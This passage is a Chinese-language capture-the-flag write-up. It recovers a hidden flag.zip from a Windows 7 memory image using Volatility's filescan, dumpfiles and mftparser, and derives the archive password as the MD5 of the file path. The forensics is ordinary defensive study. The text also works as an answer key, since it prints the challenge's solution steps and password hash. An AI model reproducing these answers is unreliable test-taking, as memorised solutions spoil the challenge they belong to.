OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: C:\Windows\system32\cmd.exe - C:\Python27\python.exe  -m SimpleHTTPServer
AttachedProcess: python.exe Pid: 2052 Handle: 0x8c
AttachedProcess: cmd.exe Pid: 2336 Handle: 0x60
----
CommandHistory: 0x37ed10 Application: python.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x8c
----
CommandHistory: 0x37e9c0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 3 LastAdded: 2 LastDisplayed: 2
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 at 0x382d60: echo "Stucked? You can ask WallPaper god for help."
Cmd #1 at 0x35e3a0: cd Desktop
Cmd #2 at 0x382dd0: C:\Python27\python.exe -m SimpleHTTPServer
----
Screen 0x360f70 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\dora>echo "Stucked? You can ask WallPaper god for help."
"Stucked? You can ask WallPaper god for help."

C:\Users\dora>cd Desktop

C:\Users\dora\Desktop>C:\Python27\python.exe -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
192.168.17.129 - - [05/Nov/2022 03:08:43] "GET /mem.zip HTTP/1.1" 200 -
有一句 "Stucked? You can ask WallPaper god for help."。所以在 strings 里面再搜 Wallpaper,发现有相关文件,继续 volatility 梭:
volatility -f mem.raw --profile=Win7SP1x64 filescan > files.txt
有很多很多文件,在里面搜一下发现了两个 Wallpaper 路径下的文件:
Offset(P)            #Ptr   #Hnd Access Name
------------------ ------ ------ ------ ----
...
0x000000007eee11c0     10      0 R--r-- \Device\HarddiskVolume1\Windows\Web\Wallpaper\Windows\img0.jpg
...
0x000000007fc48f20     16      0 R--r-d \Device\HarddiskVolume1\Windows\Web\Wallpaper\Windows\img0.jpeg
...
然后分别用 volatility -f mem.raw --profile=Win7SP1x64 dumpfiles -Q <Offset> --dump-dir=./ 提取,发现上面一张是 Win7 经典壁纸,下面一张是:

然后这里卡住了,找了很长时间也找不出他说的没有 Desktop full path 是什么。

赛后听说是要用 volatility mtfparser 指令,试了一下,确实是有的:

volatility -f mem.raw --profile=Win7SP1x64 mftparser > mftparser.txt
有个路径 PROGRA~2\WINDOW~2\ACCESS~1\flag.zip,可以推测出这个缩写实际上是 C:\Program Files (x86)\Windows NT\Accessories\flag.zip。所以压缩包的密码就是(\f 就是要这样放着不管,题目给了 note 了):
hashlib.md5(b"C:\Program Files (x86)\Windows NT\Accessories\flag.zip").hexdigest()
# 0d3ba7db468bdbd4f93a88c97ba7bef1
解压出来就是 flag 了。

反正还是 volatility 不熟练,记下了。Windows 下一些删掉了的文件可以尝试用 mtfparser 来搜一下。


最后更新: 2022年11月7日 19:06:21
创建日期: 2022年11月7日 19:06:21
回到页面顶部